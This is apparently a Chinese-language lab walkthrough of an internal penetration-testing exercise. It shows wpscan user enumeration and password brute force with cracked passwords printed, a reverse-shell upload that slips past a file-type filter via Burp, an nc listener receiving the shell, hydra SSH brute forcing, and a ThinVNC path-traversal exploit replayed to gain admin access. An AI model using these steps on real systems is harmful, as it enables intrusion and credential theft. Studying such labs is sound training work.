用wpscan來掃描弱點、帳號:
┌──(root㉿kali)-[~]
└─# wpscan --url http://wpress.itop.com.tw/ -e vt,vp,u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://wpress.itop.com.tw/ [172.16.1.222]
[+] Started: Mon Feb 27 06:11:51 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://wpress.itop.com.tw/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://wpress.itop.com.tw/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://wpress.itop.com.tw/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wpress.itop.com.tw/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.12 identified (Insecure, released on 2021-09-09).
| Found By: Rss Generator (Passive Detection)
| - http://wpress.itop.com.tw/index.php/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
| - http://wpress.itop.com.tw/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:02 <> (493 / 493) 100.00% Time: 00:00:02
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jason
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://wpress.itop.com.tw/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] alvin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] james
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Feb 27 06:11:59 2023
[+] Requests Done: 525
[+] Cached Requests: 39
[+] Data Sent: 142.959 KB
[+] Data Received: 164.905 KB
[+] Memory used: 261.918 MB
[+] Elapsed time: 00:00:07
知道了帳號,就可以爆破密碼:
┌──(root㉿kali)-[~]
└─# wpscan --url http://wpress.itop.com.tw -U "jason,tom,john,james,alvin" -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://wpress.itop.com.tw/ [172.16.1.222]
[+] Started: Mon Feb 27 06:16:50 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://wpress.itop.com.tw/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://wpress.itop.com.tw/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://wpress.itop.com.tw/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wpress.itop.com.tw/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.2.12 identified (Insecure, released on 2021-09-09).
| Found By: Rss Generator (Passive Detection)
| - http://wpress.itop.com.tw/index.php/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
| - http://wpress.itop.com.tw/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.12</generator>
[+] WordPress theme in use: twentynineteen
| Location: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/
| Last Updated: 2022-11-02T00:00:00.000Z
| Readme: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wpress.itop.com.tw/wp-content/themes/twentynineteen/style.css?ver=1.4, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] wp-responsive-thumbnail-slider
| Location: http://wpress.itop.com.tw/wp-content/plugins/wp-responsive-thumbnail-slider/
| Last Updated: 2022-11-07T03:23:00.000Z
| [!] The version is out of date, the latest version is 1.1.9
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1.1 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://wpress.itop.com.tw/wp-content/plugins/wp-responsive-thumbnail-slider/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://wpress.itop.com.tw/wp-content/plugins/wp-responsive-thumbnail-slider/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <=> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - john / iloveyou
Trying james / 1q2w3e4r5t Time: 00:00:32 <> (1549 / 500051) 0.30% ETA: 02:56:1[SUCCESS] - alvin / apollo
...
[!] Valid Combinations Found:
| Username: john, Password: iloveyou
| Username: alvin, Password: apollo
| Username: tom, Password: P@ssw0rd
| Username: james, Password: 1qaz@WSX
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Feb 27 07:18:41 2023
[+] Requests Done: 167102
[+] Cached Requests: 5
[+] Data Sent: 86.113 MB
[+] Data Received: 98.724 MB
[+] Memory used: 265.68 MB
[+] Elapsed time: 01:01:51
用john的帳密登入,看plugin:
找找最下面的plugin有沒有弱點:
┌──(root㉿kali)-[~]
└─# msfconsole
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Use the edit command to open the
currently active module in your editor
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search Thumbnail
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/fileformat/evince_cbt_cmd_injection 2017-07-13 excellent No Evince CBT File Command Injection
1 exploit/windows/fileformat/ms11_006_createsizeddibsection 2010-12-15 great No MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
2 exploit/linux/http/railo_cfml_rfi 2014-08-26 excellent Yes Railo Remote File Include
3 exploit/multi/http/wp_responsive_thumbnail_slider_upload 2015-08-28 excellent Yes WordPress Responsive Thumbnail Slider Arbitrary File Upload
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/wp_responsive_thumbnail_slider_upload
可以發現其實此poc適用於1.0,但現在是1.1所以失敗,但可以試試別的user,但alvin也失敗。
既然wp的外掛不行,那就只好傳傳看reverse shell:
上傳步驟:
注意上傳前開啟burp suite,並開啟itersept,如果itersept跳出字,就點左上角forward。
而上傳後,可能出現:
代表被擋下來。
看看intercept:
在forward途中,出現以上畫面時,把.jpg
這些字刪掉再繼續forward,看能不能躲避檢查。
forward完成後(變回空白),把intercept關掉,再看看:
可以發現成功上傳,上圖反白處就可以得知上傳到哪裡,所以可以先讓攻擊機監聽了:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8083
listening on [any] 8083 ...
連到reverse shell網址:
這時攻擊機就可以get shell:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 8083
listening on [any] 8083 ...
connect to [192.168.200.3] from (UNKNOWN) [172.16.1.222] 44484
Linux localhost.localdomain 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2 (2019-08-28) x86_64 GNU/Linux
07:06:44 up 16:04, 1 user, load average: 0.36, 0.33, 0.29
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :1 :1 21May21 ?xdm? 14:38 0.02s /usr/lib/gdm3/gdm-x-session --run-script /usr/bin/gnome-session
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
aaa查看一下這一台IP有沒有機會連到真正想打的端點:
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:0a:66:05 brd ff:ff:ff:ff:ff:ff
inet 172.16.1.222/16 brd 172.16.255.255 scope global noprefixroute eth0
valid_lft forever preferred_lft forever
inet6 fe80::215:5dff:fe0a:6605/64 scope link noprefixroute
valid_lft forever preferred_lft forever
ping 一下:
$ ping 172.20.20.5
PING 172.20.20.5 (172.20.20.5) 56(84) bytes of data.
From 172.16.1.1 icmp_seq=2 Destination Port Unreachable
From 172.16.1.1 icmp_seq=3 Destination Port Unreachable
From 172.16.1.1 icmp_seq=4 Destination Port Unreachable
可以知道這一台對於攻擊172.20.20.5
沒有用。
打下一台:
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -p135,139,445,3389 -sC -sV -O -A 172.16.19.9
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 07:15 EST
Nmap scan report for 172.16.19.9
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=FRANKLIN
| Not valid before: 2023-02-26T10:01:57
|_Not valid after: 2023-08-28T10:01:57
|_ssl-date: 2023-02-27T12:16:30+00:00; -2s from scanner time.
| rdp-ntlm-info:
| Target_Name: FRANKLIN
| NetBIOS_Domain_Name: FRANKLIN
| NetBIOS_Computer_Name: FRANKLIN
| DNS_Domain_Name: FRANKLIN
| DNS_Computer_Name: FRANKLIN
| Product_Version: 6.3.9600
|_ System_Time: 2023-02-27T12:16:25+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 R2 (94%), Microsoft Windows Server 2012 (93%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%), Microsoft Windows 7 Professional (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-27T12:16:24
|_ start_date: 2023-02-27T10:01:53
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
|_nbstat: NetBIOS name: FRANKLIN, NetBIOS user: <unknown>, NetBIOS MAC: 00155d0136b3 (Microsoft)
| smb2-security-mode:
| 302:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 23.11 ms 192.168.200.1
2 23.13 ms 172.16.19.9
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.81 seconds
剛剛那一台沒有student帳號,這一台可以試一下。
爆破出帳密,就可以用linux的遠端桌面軟體,記得不能用root執行:
┌──(kali㉿kali)-[~]
└─$ rdesktop 172.16.19.9 -g 90%
Autoselecting keyboard map 'en-us' from locale
ATTENTION! The server uses and invalid security certificate which can not be trusted for
the following identified reasons(s);
1. Certificate issuer is not trusted by this system.
Issuer: CN=FRANKLIN
Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate the connection atempt will be aborted:
Subject: CN=FRANKLIN
Issuer: CN=FRANKLIN
Valid From: Sun Feb 26 05:01:57 2023
To: Mon Aug 28 06:01:57 2023
Certificate fingerprints:
sha1: f35ca64289ebfa5cf263f1650e8dcb2bcdf72a4b
sha256: ae24948b8179650abd39670efa12814e75179755548a26eafd5a582019fed744
Do you trust this certificate (yes/no)? yes
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
登入畫面,用剛剛爆破出的帳密登入:
桌面:
發現應用程式有安裝wireshark,打開看看:
查一下這台的網路:
從wireshark可以發現有172.20.20.4
這個IP,應該可以攻擊172.20.20.5
。
從上面畫面可發現,這台不斷被惡意程式問5566 port有沒有活著。
而其實桌面上已經有惡意程式,可以打開看看:
點右鍵再點紅圈:
感覺沒什麼用:
點選manager:
再點reverse shell
下圖紅圈處可打指令:
在紅圈處輸入windows指令,比如輸入dir按Enter可顯示上圖C槽目錄。上面紅圈輸入dir secret.txt /s
可找secret.txt。
一樣,找到secret.txt:
Lab 3結束。
套路1:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.3.128
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:05 EST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 5.91% done; ETC: 08:06 (0:00:32 remaining)
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 13.56% done; ETC: 08:05 (0:00:25 remaining)
Nmap scan report for 172.16.3.128
Host is up (0.079s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 28.81 seconds
套路2:
┌──(root㉿kali)-[~]
└─# nmap -p22 -sC -sV -O -A 172.16.3.128
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:10 EST
Nmap scan report for 172.16.3.128
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ce8eb17409f0e9ac520810f2d82eb6e0 (DSA)
| 2048 a2c1d9a1e1f7302eae85cb050c3559ed (RSA)
| 256 0d8658bbfb1c322e0d70f95cf1e13eca (ECDSA)
|_ 256 b6e04ffd17be8f891da29a0cfe45a3ef (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (92%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 62.41 ms 192.168.200.1
2 13.32 ms 172.16.3.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.10 seconds
找套件弱點:
是sftp,可能不是我們要找的。接下來一樣用hydra爆破ssh帳密:
┌──(root㉿kali)-[~]
└─# hydra -l jason -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://172.16.3.128
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-27 08:15:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking ssh://172.16.3.128:22/
[STATUS] 103.00 tries/min, 103 tries in 00:01h, 999898 to do in 161:48h, 15 active
[STATUS] 105.33 tries/min, 316 tries in 00:03h, 999685 to do in 158:11h, 15 active
[22][ssh] host: 172.16.3.128 login: jason password: apollo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 12 final worker threads did not complete until end.
[ERROR] 12 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-27 08:20:43
連上後一樣找檔案:
┌──(root㉿kali)-[~]
└─# ssh jason@172.16.3.128
The authenticity of host '172.16.3.128 (172.16.3.128)' can't be established.
ED25519 key fingerprint is SHA256:FqWIqIgmkLLMYrdOw7hB2yNfUMj9wJkvENzZLfaBrIs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.3.128' (ED25519) to the list of known hosts.
jason@172.16.3.128's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com/
775 packages can be updated.
483 updates are security updates.
Last login: Sat Oct 29 16:20:08 2022 from 192.168.200.15
jason@Ubuntu14:~$ uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
jason@Ubuntu14:~$ id
uid=1001(jason) gid=1001(jason) groups=1001(jason)
jason@Ubuntu14:~$ cd /
jason@Ubuntu14:/$ find / -type f -name local.txt -print 2>/dev/null
/home/jason/local.txt
Lab 4結束。
套路1與2:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:17 EST
Nmap scan report for 172.16.1.112
Host is up (0.059s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.04 seconds
┌──(root㉿kali)-[~]
└─# nmap -p135,139,445,3389 -sC -sV -O -A 172.16.1.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-27 08:19 EST
Nmap scan report for 172.16.1.112
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ms-wbt-server?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Content-Type: text/html
| Content-Length: 177
| Connection: Keep-Alive
| <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL nice%20ports%2C/Tri%6Eity.txt%2ebak was not found on this server.<P></BODY></HTML>
| GetRequest:
| HTTP/1.1 401 Access Denied
| Content-Type: text/html
| Content-Length: 144
| Connection: Keep-Alive
| WWW-Authenticate: Digest realm="ThinVNC", qop="auth", nonce="n9x6bhz35UCI1zECHPflQA==", opaque="3WRbb2HCPYbAJLQID7pshR55ixhDf859iP"
|_ <HTML><HEAD><TITLE>401 Access Denied</TITLE></HEAD><BODY><H1>401 Access Denied</H1>The requested URL requires authorization.<P></BODY></HTML>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.93%I=7%D=2/27%Time=63FCADE3%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,179,"HTTP/1\.1\x20401\x20Access\x20Denied\r\nContent-Type:\x20
SF:text/html\r\nContent-Length:\x20144\r\nConnection:\x20Keep-Alive\r\nWWW
SF:-Authenticate:\x20Digest\x20realm=\"ThinVNC\",\x20qop=\"auth\",\x20nonc
SF:e=\"n9x6bhz35UCI1zECHPflQA==\",\x20opaque=\"3WRbb2HCPYbAJLQID7pshR55ixh
SF:Df859iP\"\r\n\r\n<HTML><HEAD><TITLE>401\x20Access\x20Denied</TITLE></HE
SF:AD><BODY><H1>401\x20Access\x20Denied</H1>The\x20requested\x20URL\x20\x2
SF:0requires\x20authorization\.<P></BODY></HTML>\r\n")%r(FourOhFourRequest
SF:,111,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Type:\x20text/html\r\
SF:nContent-Length:\x20177\r\nConnection:\x20Keep-Alive\r\n\r\n<HTML><HEAD
SF:><TITLE>404\x20Not\x20Found</TITLE></HEAD><BODY><H1>404\x20Not\x20Found
SF:</H1>The\x20requested\x20URL\x20nice%20ports%2C/Tri%6Eity\.txt%2ebak\x2
SF:0was\x20not\x20found\x20on\x20this\x20server\.<P></BODY></HTML>\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (94%), Microsoft Windows 10 1607 (90%), Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2008 R2 (88%), Microsoft Windows 10 1511 - 1607 (86%), Microsoft Windows 7 Professional (86%), Microsoft Windows 7 SP1 (85%), Tomato 1.27 - 1.28 (Linux 2.4.20) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-02-27T13:20:59
|_ start_date: 2022-10-15T07:48:25
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 61.94 ms 192.168.200.1
2 12.70 ms 172.16.1.112
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.34 seconds
發現3389 port竟然藏了一個vnc,連上去看看:
用thinvnc exploit
字串google:
紅色底線處可以試著手工打打看,但應該會被瀏覽器擋下來,但可以用burp suite給repeat。
開啟burp如下圖:
剛剛輸入網址的動作被記錄下來,可以把它Send to Repeater
。
送到Repeater後,可以修改剛剛送出的內容,重新再送一次。
所以修改成反白處1,符合網頁上那個POC的寫法,操作順序如下圖數字所示,最後會出現反白處3,就是POC作法成功。
再用上圖3號,再次登入看看:
成功登入:
這種遠端軟體,只要打一個點如下圖紅圈,就可以自己連自己。
這就是連線後的畫面:
可以試試呼叫系統管理員:
aaa點下圖紅線處,叫出cmd:
叫出cmd:
cmd:
輸入指令查看目前身分:
知道身分後再查這身分相關訊息:
]]>知道是網頁,首先先查看有什麼目錄:
┌──(root㉿kali)-[~]
└─# nikto -host http://sales.itop.com.tw
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: sales.itop.com.tw
+ Target Port: 80
+ Start Time: 2023-02-26 07:18:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 8d, size: 59770f4ca6fd6, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /public/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7941 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-02-26 07:22:42 (GMT-5) (274 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
查看有什麼目錄:
┌──(root㉿kali)-[~]
└─# nikto -host http://market.itop.com.tw
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: market.itop.com.tw
+ Target Port: 80
+ Start Time: 2023-02-26 07:19:53 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 8d, size: 59770f1d49036, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
